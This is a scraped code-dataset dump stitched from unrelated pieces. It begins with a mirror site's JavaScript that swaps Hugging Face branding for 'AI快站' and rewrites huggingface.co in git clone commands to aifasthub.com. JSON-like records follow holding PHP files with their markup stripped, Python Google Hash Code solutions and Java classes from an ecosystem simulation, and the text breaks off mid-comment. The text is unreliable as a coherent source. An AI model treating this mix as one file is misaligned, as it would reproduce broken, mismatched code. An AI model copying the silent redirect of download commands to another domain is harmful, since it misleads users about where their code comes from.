{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n\n/PlusTest.php\nplus = new Plus();\r\n }\r\n\r\n protected function tearDown()\r\n {\r\n $this->plus = NULL;\r\n }\r\n\r\n public function testAdd()\r\n {\r\n $result = $this->plus->add(1, 2);\r\n $this->assertEquals(3, $result);\r\n }\r\n\r\n}\r\n/index.php\n\n\n\n\nДокумент без названия\n\n\n\n\n\n\n\n\n\n<NAME>\n\n\n\n
\n\n\";\n\t\necho \"Magazin\";\nwhile ($f=mysql_fetch_array($q))\n{\n\n\n\necho \"\";\necho \"$f[name]\";\necho \"$f[opis]\";\n\necho \"\";\necho \"$f[cena]\";\necho \"\";\n\n}\n?>\n\n\n"},"directory_id":{"kind":"string","value":"e4750812040a1083371b871692ae45049ac0d1b1"},"languages":{"kind":"list like","value":["PHP"],"string":"[\n \"PHP\"\n]"},"num_files":{"kind":"number","value":3,"string":"3"},"repo_language":{"kind":"string","value":"PHP"},"repo_name":{"kind":"string","value":"DmitryChugaevsky/DmitryChugaevsky.github.io"},"revision_id":{"kind":"string","value":"bd4c71413854b1060659f661acc1bd2cea223660"},"snapshot_id":{"kind":"string","value":"3123b442cda514ebba649147793f9745c29f52b8"}}},{"rowIdx":112,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"from random import shuffle, sample\n\n\npics = open('/users/bscdsa2022/mc64/b_lovely_landscapes.txt')\n\npictures = {}\n\ncount = -1\n\nfor line in pics:\n words = line.split(' ')\n words[-1] = words[-1][:-1]\n\n pictures[count] = words\n\n count += 1\n\ndel pictures[-1]\n#print(pictures)\n\npics.close()\n\n#---------------------------------------------------------\n\nV_list = []\nH_list = []\n\nfor id, att in pictures.items():\n if att[0] == 'V':\n V_list.append(id)\n else:\n H_list.append(id)\n\n\n\n\n\n#------------------------------------------------------------------\n\ndef countPoints(sl):\n total = 0\n\n\n for i in range(0, len(sl)-1):\n if isinstance(sl[i], list):\n tags1 = list(set([tag for tag in pictures[sl[i][0]][2:] + pictures[sl[i][1]][2:]]))\n else:\n tags1 = [tag for tag in pictures[sl[i]][2:]]\n\n if isinstance(sl[i+1], list):\n tags2 = list(set([tag for tag in pictures[sl[i+1][0]][2:] + pictures[sl[i+1][1]][2:]]))\n else:\n tags2 = [tag for tag in pictures[sl[i+1]][2:]]\n\n points = []\n c = 0\n for tag in tags1:\n if tag in tags2:\n c += 1\n\n points.append(c)\n\n\n points.append(len(tags1)-c)\n points.append(len(tags2)-c)\n\n total += min(points)\n\n\n return total\n\nprint(countPoints([0, 3, [1, 2]]))\n\n#----------------------------------------------------------------------------------------------------\n\ndef countDups(i, j, V_slides, pictures):\n tags_a = [tag for tag in pictures[V_slides[i]][2:]]\n tags_b = [tag for tag in pictures[V_slides[j]][2:]]\n\n\n c = 0\n\n for tag in tags_a:\n if tag in tags_b:\n c+=1\n\n return c\n\n\n\ndef CountPairPoints(i, j, slide, pictures):\n if isinstance(slide[i], list):\n tags_a = list(set([tag for tag in pictures[slide[i][0]][2:] + pictures[slide[i][1]][2:]]))\n else:\n tags_a = [tag for tag in pictures[slide[i]][2:]]\n\n if isinstance(slide[j], list):\n tags_b = list(set([tag for tag in pictures[slide[j][0]][2:] + pictures[slide[j][1]][2:]]))\n else:\n tags_b = [tag for tag in pictures[slide[j]][2:]]\n\n\n points = []\n\n c = 0\n for tag in tags_a:\n if tag in tags_b:\n c += 1\n\n points.append(c)\n points.append(len(tags_a)-c)\n points.append(len(tags_b)-c)\n\n return min(points)\n\n\n\n\n\ndef slideGenerator(dic):\n V_slide_order = sample(V_list, len(V_list))\n\n#===================================================================================\n for i in range(0, len(V_slide_order), 2):\n minV = 2000\n for j in range(i+1, len(V_slide_order)):\n PairDups = countDups(i, j, V_slide_order, dic)\n if PairDups < minV:\n minV = PairDups\n indexJ = j\n if minV == 0:\n break\n V_slide_order[i+1], V_slide_order[indexJ] = V_slide_order[indexJ], V_slide_order[i+1]\n\n#=============================================================================================\n V_pairs = []\n\n for i in range(0, len(V_slide_order)-1, 2):\n V_pairs.append([V_slide_order[i], V_slide_order[i+1]])\n\n total_slide = sample(V_pairs + H_list, len(V_pairs + H_list))\n\n\n for i in range(0, len(total_slide)-1):\n maxT = -1\n for j in range(i+1, len(total_slide)):\n PairPoints = CountPairPoints(i, j, total_slide, pictures)\n if PairPoints > maxT:\n maxT = PairPoints\n indexJ = j\n if maxT > 6:\n break\n total_slide[i+1], total_slide[indexJ] = total_slide[indexJ], total_slide[i+1]\n\n\n\n\n\n\n\n return total_slide\n\n\n\npoints=0\nwhile points < 2:\n slide = slideGenerator(pictures)\n points = countPoints(slide)\n\nprint(points)\n\n\nf = open('answ.txt', 'w')\nf.writelines(str(len(slide))+ '\\n')\nfor line in slide:\n if isinstance(line, list):\n f.writelines(str(line[0])+ ' ' + str(line[1]) + '\\n')\n else:\n f.writelines (str(line) + '\\n')\n\nf.close()\nfile = open('input_files/e_so_many_books.txt', 'r')\n\nline = file.readline()\n\nnum_books, num_libs, num_days = list(map(int, line.split()))\n\ndel line\n\nbooks_points = file.readline().split()\nbooks_points = list(map(int, books_points)) # index i has book i with its amount of points\n\nprint(\"h\")\n\nlibraries = []\nscanned_books = []\n\nout = ''\ndays_passed = 0\n##################################################################\n\n'''\nclass Book:\n def __init__(self, score):\n self.score = score\n'''\n\nclass Library:\n def __init__(self, books, time, num_books, ship_per_day, lib_num):\n self.lib_num = lib_num\n self.books = books\n self.time = time\n self.num_books = num_books\n self.ship_per_day = ship_per_day\n self.scanned = 0\n self.points = 0\n for x in self.books:\n self.points += books_points[x]\n self.score = self.num_books/self.time\n\n def __str__(self):\n return str(self.lib_num)\n\n def signup(self, days_passed):\n days_passed += self.time\n\n def scan_books(self, num_days, days_passed):\n lib_out = ''\n books_scannable = (num_days - days_passed) * self.ship_per_day\n for i in self.books:\n if books_scannable <= 0:\n continue\n if i not in scanned_books:\n scanned_books.append(i)\n lib_out += str(i) + ' '\n books_scannable -= 1\n self.scanned += 1\n return lib_out\n\n\nc = 0\nfor i in range(num_libs):\n line = list(map(int, file.readline().split())) # num of books, signup length, ship per day\n books = list(map(int, file.readline().split())) # index i has book x\n libraries.append(Library(books, line[1], line[0], line[2], c))\n c += 1\n\n\n\n\n\n\n\n\n\nlibraries.sort(key=lambda x: (-x.score, x.time, -x.ship_per_day))\n\noutput = open('hash_answers.txt', 'w')\n\nd = 0\nc = 0\nout = ''\nwhile days_passed < num_days and d < num_libs:\n libraries[d].signup(days_passed)\n books = libraries[d].scan_books(num_days, days_passed)\n lib_and_books = str(libraries[d].lib_num) + ' ' + str(libraries[d].scanned)\n if libraries[d].scanned > 0:\n out += lib_and_books + '\\n' + books + '\\n'\n c += 1\n else:\n days_passed -= libraries[d].time\n d += 1\n\n\n\noutput.write(str(c) + '\\n')\noutput.write(out)\n\ndel out\n\n\n\n\n\n\n\nfile.close()\noutput.close()\n"},"directory_id":{"kind":"string","value":"cd00055b22ca69f9bfed074bc9193a9b29d03ce2"},"languages":{"kind":"list like","value":["Python"],"string":"[\n \"Python\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"maximised/Google_hash_code"},"revision_id":{"kind":"string","value":"4ee5d53ec43c34692acd54a682db286ea4f5cacb"},"snapshot_id":{"kind":"string","value":"3015d1dfd8da1814bf768bf51670db63d1ab2fbd"}}},{"rowIdx":113,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"theblackunknown/creative-ecosystems/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/SaveImageAction.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport javax.imageio.ImageIO;\nimport javax.swing.*;\nimport javax.swing.filechooser.FileNameExtensionFilter;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\n\nimport static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class SaveImageAction\n extends FileBrowserAction {\n\n private SaveImageAction() {\n super(\"Save current image\",\n \"Image files\",\n \"png\", \"bmp\", \"gif\", \"jpeg\"\n );\n }\n\n private static class SaveImageHolder {\n private static final SaveImageAction instance =\n new SaveImageAction();\n }\n\n public static SaveImageAction getInstance() {\n return SaveImageHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n Monitor.pauseEvolution();\n BufferedImage image = Monitor.dumpCurrentImage();\n if (image == null)\n return;\n\n Component parent = e.getSource() instanceof Component\n ? ((Component) e.getSource()).getParent()\n : null;\n switch (fc.showSaveDialog(parent)) {\n case JFileChooser.APPROVE_OPTION:\n File selectedFile = fc.getSelectedFile();\n int returnVal = JOptionPane.OK_OPTION;\n if (selectedFile.exists()) {\n returnVal = JOptionPane.showConfirmDialog(\n parent,\n \"Are you sure you want to overwrite : \"\n + selectedFile.getName()\n + \" ?\",\n \"File collision !\",\n JOptionPane.YES_NO_OPTION\n );\n }\n\n boolean gotExtension = selectedFile.getName().contains(\".\");\n\n String extension =\n gotExtension\n ? selectedFile.getName().substring(\n selectedFile.getName().lastIndexOf(\".\") + 1,\n selectedFile.getName().length()\n )\n : \"png\";\n\n\n File file = gotExtension ?\n selectedFile\n : new File(selectedFile.getAbsolutePath() + \".png\");\n\n if (returnVal == JOptionPane.OK_OPTION) {\n try {\n ImageIO.write(\n image,\n extension,\n file);\n JOptionPane.showMessageDialog(\n parent,\n \"File saved : \" + file.getName(),\n \"Save operation\",\n JOptionPane.INFORMATION_MESSAGE);\n } catch (IOException e1) {\n JOptionPane.showMessageDialog(\n parent,\n \"Couldn't save image file : \"\n + e1.getLocalizedMessage(),\n \"Save operation\",\n JOptionPane.ERROR_MESSAGE);\n }\n }\n }\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/IntegerSpinnerField.java\npackage org.blackpanther.ecosystem.gui.settings.fields;\n\nimport org.blackpanther.ecosystem.factory.fields.FieldMould;\nimport org.blackpanther.ecosystem.factory.fields.StateFieldMould;\n\nimport javax.swing.*;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\npublic class IntegerSpinnerField\n extends SettingField {\n\n private JSpinner valueSelector;\n\n public IntegerSpinnerField(String name, SpinnerModel model){\n super(name);\n valueSelector.setModel(model);\n }\n\n @Override\n protected void initializeComponents(String fieldName) {\n valueSelector = new JSpinner();\n valueSelector.setName(fieldName);\n }\n\n @Override\n public JComponent getMainComponent() {\n return valueSelector;\n }\n\n @Override\n public void setValue(Integer newValue) {\n valueSelector.setValue(newValue);\n }\n\n @Override\n public Integer getValue() {\n return (Integer) valueSelector.getValue();\n }\n\n @Override\n public FieldMould toMould() {\n return new StateFieldMould(\n getMainComponent().getName(),\n new org.blackpanther.ecosystem.factory.generator.provided.IntegerProvider(getValue())\n );\n }\n}/pom.xml\n\n 4.0.0\n\n org.blackpanther\n creative-ecosystems\n 1.0-alpha\n\n \n ecosystem-framework\n gui-ecosystem\n \n\n pom\n\n Creative Ecosystem Project\n https://github.com/blackpanther/creative-ecosystems\n\n \n \n \n\n\n \n \n blackpanther\n \n \n \n developper\n \n +1\n \n \n\n \n UTF-8\n 1.6\n 4.8.2\n 2.7\n 2.6\n 2.5\n 2.2\n \n\n \n \n \n \n org.apache.maven.plugins\n maven-compiler-plugin\n \n ${targetJVM}\n ${targetJVM}\n \n \n \n org.apache.maven.plugins\n maven-site-plugin\n 3.0-beta-3\n \n \n \n org.apache.maven.plugins\n maven-javadoc-plugin\n ${javadoc.version}\n \n \n uml\n \n gr.spinellis.umlgraph.doclet.UmlGraph\n \n gr.spinellis\n UmlGraph\n 4.4\n \n -views\n target/uml\n private\n \n \n javadoc\n \n \n \n html\n \n private\n \n \n javadoc\n \n \n \n \n public\n \n http://download.oracle.com/javase/6/docs/api/\n \n \n \n \n api_1.6\n http://download.oracle.com/javase/6/docs/api/\n \n \n \n \n \n \n org.apache.maven.plugins\n maven-checkstyle-plugin\n ${checkstyle.version}\n \n true\n checkstyle.xml\n \n \n \n org.apache.maven.plugins\n maven-pmd-plugin\n ${pmd.version}\n \n ${targetJVM}\n \n \n \n org.apache.maven.plugins\n maven-jxr-plugin\n ${jxr.version}\n \n \n \n \n \n \n \n\n \n \n site\n Project Site\n file:///${user.dir}/target/deployed-site\n \n \n\n \n \n \n junit\n junit\n ${junit.version}\n \n \n \n\n\n/gui-ecosystem/src/main/resources/application.properties\nspace-width=900.0\nspace-height=900.0\n\nmax-agent-number=1200\n\nresource-threshold=500.0\nspeed-threshold=10.0\ncurvature-threshold=0.05\nsensor-radius-threshold=10.0\nenergy-threshold=1000.0\nfecundation-consummation-threshold=100.0\n\nprobability-variation=0.01\ncurvature-variation=0.1\nangle-variation=0.1\nspeed-variation=0.1\ncolor-variation=50\n\nline-obstruction=true\nperlin-noise=true/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/mutable/SpinnerField.java\npackage org.blackpanther.ecosystem.gui.settings.fields.mutable;\n\nimport org.blackpanther.ecosystem.factory.fields.FieldMould;\nimport org.blackpanther.ecosystem.factory.fields.GeneFieldMould;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.ActionListener;\nimport java.beans.EventHandler;\n\nimport static org.blackpanther.ecosystem.helper.Helper.createLabeledField;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011\n */\npublic class SpinnerField\n extends org.blackpanther.ecosystem.gui.settings.fields.randomable.SpinnerField\n implements Mutable {\n\n private JCheckBox mutable;\n\n public SpinnerField(String name, SpinnerModel model) {\n super(name, model);\n }\n\n @Override\n protected void initializeComponents(String fieldName) {\n super.initializeComponents(fieldName);\n\n mutable = new JCheckBox();\n\n mutable.addActionListener(EventHandler.create(\n ActionListener.class,\n mutable,\n \"setSelected\",\n \"source.selected\"\n ));\n }\n\n @Override\n protected void placeComponents(JPanel layout) {\n super.placeComponents(layout);\n\n GridBagConstraints constraints = new GridBagConstraints();\n\n layout.add(createLabeledField(\n \"M\",\n mutable,\n CHECKBOX_DIMENSION\n ), constraints);\n }\n\n @Override\n public boolean isMutable() {\n return mutable.isSelected();\n }\n\n @Override\n public void setMutable(boolean mutable) {\n this.mutable.setSelected(mutable);\n }\n\n @Override\n public FieldMould toMould() {\n SpinnerNumberModel model = (SpinnerNumberModel) valueSelector.getModel();\n Double min = (Double) model.getMinimum();\n Double max = (Double) model.getMaximum();\n return new GeneFieldMould(\n getMainComponent().getName(),\n isRandomized()\n ? new org.blackpanther.ecosystem.factory.generator.random.DoubleProvider(min, max)\n : new org.blackpanther.ecosystem.factory.generator.provided.DoubleProvider(getValue()),\n isMutable()\n );\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EvolutionListener.java\npackage org.blackpanther.ecosystem.event;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic interface EvolutionListener {\n public void update(EvolutionEvent e);\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ToggleResources.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport org.blackpanther.ecosystem.gui.GUIMonitor;\nimport org.blackpanther.ecosystem.gui.GraphicEnvironment;\n\nimport javax.swing.*;\nimport java.awt.event.ActionEvent;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011\n */\npublic class ToggleResources\n extends AbstractAction{\n\n private ToggleResources(){\n super(\"Toggle Resources painting\");\n }\n\n private static class ToggleResourcesHolder {\n private static final ToggleResources instance =\n new ToggleResources();\n }\n\n public static ToggleResources getInstance(){\n return ToggleResourcesHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n GUIMonitor.Monitor.toggleOption(GraphicEnvironment.RESOURCE_OPTION);\n }\n}\n/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ToggleLineObstruction.java\npackage org.blackpanther.ecosystem.gui.actions;\n\nimport javax.swing.*;\nimport java.awt.event.ActionEvent;\n\nimport static org.blackpanther.ecosystem.ApplicationConstants.LINE_OBSTRUCTION_OPTION;\nimport static org.blackpanther.ecosystem.Configuration.Configuration;\n\n/**\n * @author \n * @version 26/05/11\n */\npublic class ToggleLineObstruction\n extends AbstractAction {\n\n private ToggleLineObstruction() {\n super(\"Toggle line obstruction\");\n }\n\n private static class ToggleLineObstructionHolder {\n private static final ToggleLineObstruction instance =\n new ToggleLineObstruction();\n }\n\n public static ToggleLineObstruction getInstance() {\n return ToggleLineObstructionHolder.instance;\n }\n\n @Override\n public void actionPerformed(ActionEvent e) {\n if (e.getSource() instanceof JCheckBox) {\n Configuration.setParameter(\n LINE_OBSTRUCTION_OPTION,\n ((JCheckBox) e.getSource()).isSelected(),\n Boolean.class\n );\n } else\n Configuration.setParameter(\n LINE_OBSTRUCTION_OPTION,\n !Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class),\n Boolean.class\n );\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/EnvironmentFactory.java\npackage org.blackpanther.ecosystem.factory;\n\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic abstract class EnvironmentFactory {\n\n abstract public T createAgent(FieldsConfiguration config);\n\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/Environment.java\npackage org.blackpanther.ecosystem;\n\nimport org.blackpanther.ecosystem.agent.Creature;\nimport org.blackpanther.ecosystem.agent.Resource;\nimport org.blackpanther.ecosystem.event.*;\nimport org.blackpanther.ecosystem.line.TraceHandler;\nimport org.blackpanther.ecosystem.math.Geometry;\n\nimport java.awt.geom.Dimension2D;\nimport java.awt.geom.Line2D;\nimport java.awt.geom.Point2D;\nimport java.awt.geom.Rectangle2D;\nimport java.io.Serializable;\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\nimport java.util.logging.Logger;\n\nimport static org.blackpanther.ecosystem.ApplicationConstants.LINE_OBSTRUCTION_OPTION;\nimport static org.blackpanther.ecosystem.Configuration.Configuration;\nimport static org.blackpanther.ecosystem.SensorTarget.detected;\nimport static org.blackpanther.ecosystem.helper.Helper.EPSILON;\nimport static org.blackpanther.ecosystem.helper.Helper.computeOrientation;\nimport static org.blackpanther.ecosystem.math.Geometry.getIntersection;\n\n/**\n *

\n * Component designed to represent an general ecosystem\n * But let's first use some basic non general features...\n *

\n *
    \n *
  • 2D grid as space
  • \n *
  • fixed-size bounds (size means number of case width)
  • \n *
  • Trace timeline by cycle
  • \n *
\n *\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class Environment\n implements Serializable, Cloneable, AgentListener {\n\n /*\n *=========================================================================\n * STATIC PART\n *=========================================================================\n */\n private static final Logger logger =\n Logger.getLogger(\n Environment.class.getCanonicalName()\n );\n\n private static final long serialVersionUID = 5L;\n\n private static long idGenerator = 0L;\n private static int AREA_COLUMN_NUMBER = 50;\n private static int AREA_ROW_NUMBER = 50;\n\n\n /*\n *=========================================================================\n * CLASS ATTRIBUTES\n *=========================================================================\n */\n\n private Long id = ++idGenerator;\n /**\n * Environment space\n */\n protected Area[][] space;\n private Rectangle2D bounds;\n /**\n * Time tracker\n */\n protected int timetracker;\n /**\n * Population\n */\n protected List creaturePool = new ArrayList();\n private Collection resourcePool = new ArrayList();\n\n /*\n *=========================================================================\n * MISCELLANEOUS\n *=========================================================================\n */\n /**\n * Component that can monitor an environment\n *\n * @see java.beans.PropertyChangeSupport\n */\n protected EnvironmentMonitor eventSupport;\n private Stack nextGenerationBuffer = new Stack();\n private Line2D[] boundLines = new Line2D[4];\n\n public Environment(double width, double height) {\n this(new Geometry.Dimension(width, height));\n }\n\n public Environment(Dimension2D dimension) {\n this.bounds = dimension == null\n ? new Rectangle2D.Double(\n -Double.MAX_VALUE / 2.0,\n -Double.MAX_VALUE / 2.0,\n Double.MAX_VALUE,\n Double.MAX_VALUE)\n : new Rectangle2D.Double(\n -dimension.getWidth() / 2.0,\n -dimension.getHeight() / 2.0,\n dimension.getWidth(),\n dimension.getHeight());\n //NORTH LINE\n boundLines[0] = new Line2D.Double(\n bounds.getX(), bounds.getY(),\n bounds.getX() + bounds.getWidth(), bounds.getY()\n );\n //EAST LINE\n boundLines[1] = new Line2D.Double(\n bounds.getX() + bounds.getWidth(), bounds.getY(),\n bounds.getX() + bounds.getWidth(), bounds.getY() + bounds.getHeight()\n );\n //SOUTH LINE\n boundLines[2] = new Line2D.Double(\n bounds.getX(), bounds.getY() + bounds.getHeight(),\n bounds.getX() + bounds.getWidth(), bounds.getY() + bounds.getHeight()\n );\n //WEST LINE\n boundLines[3] = new Line2D.Double(\n bounds.getX(), bounds.getY(),\n bounds.getX(), bounds.getY() + bounds.getHeight()\n );\n //initialize space\n space = new Area[AREA_ROW_NUMBER][AREA_COLUMN_NUMBER];\n double abscissaStartValue = bounds.getX();\n double ordinateStartValue = bounds.getY();\n double abscissaStep = bounds.getWidth() / AREA_COLUMN_NUMBER;\n double ordinateStep = bounds.getHeight() / AREA_ROW_NUMBER;\n\n double ordinateCursor = ordinateStartValue;\n double abscissaCursor;\n for (int rowIndex = 0;\n rowIndex < AREA_ROW_NUMBER;\n ordinateCursor += ordinateStep,\n rowIndex++) {\n abscissaCursor = abscissaStartValue;\n for (int columnIndex = 0;\n columnIndex < AREA_COLUMN_NUMBER;\n abscissaCursor += abscissaStep,\n columnIndex++) {\n space[rowIndex][columnIndex] = new Area(\n abscissaCursor, ordinateCursor,\n abscissaStep, ordinateStep\n );\n }\n }\n\n //initialize timeline\n timetracker = 0;\n\n getEventSupport().addAgentListener(this);\n }\n\n /**\n * Internal unique environment identifier\n *\n * @return environment identifier\n */\n public Long getId() {\n return id;\n }\n\n /**\n * Get current time (expressed as number of evolution's cycle)\n * since evolution has begun\n *\n * @return number of cycles since evolution's beginning\n */\n public final int getTime() {\n return timetracker;\n }\n\n public Rectangle2D getBounds() {\n return bounds;\n }\n\n /**\n * Dump the current global agent's creaturePool at the current state\n *\n * @return copy of agent's creaturePool\n */\n public final Collection getCreaturePool() {\n return creaturePool;\n }\n\n /**\n * Get the whole environment draw's history\n *\n * @return environment's draw history\n */\n public Set getHistory() {\n Set wholeHistory = new HashSet();\n for (Area[] row : space)\n for (Area area : row)\n wholeHistory.addAll(area.getHistory());\n return wholeHistory;\n }\n\n public final Collection getResources() {\n return resourcePool;\n }\n\n /**\n * Add an monster to the environment.\n * The added monster will be monitored by corresponding case\n * and that till its death or till it moves from there\n *\n * @param mosntergent the monster\n */\n public final void add(final Creature monster) {\n if 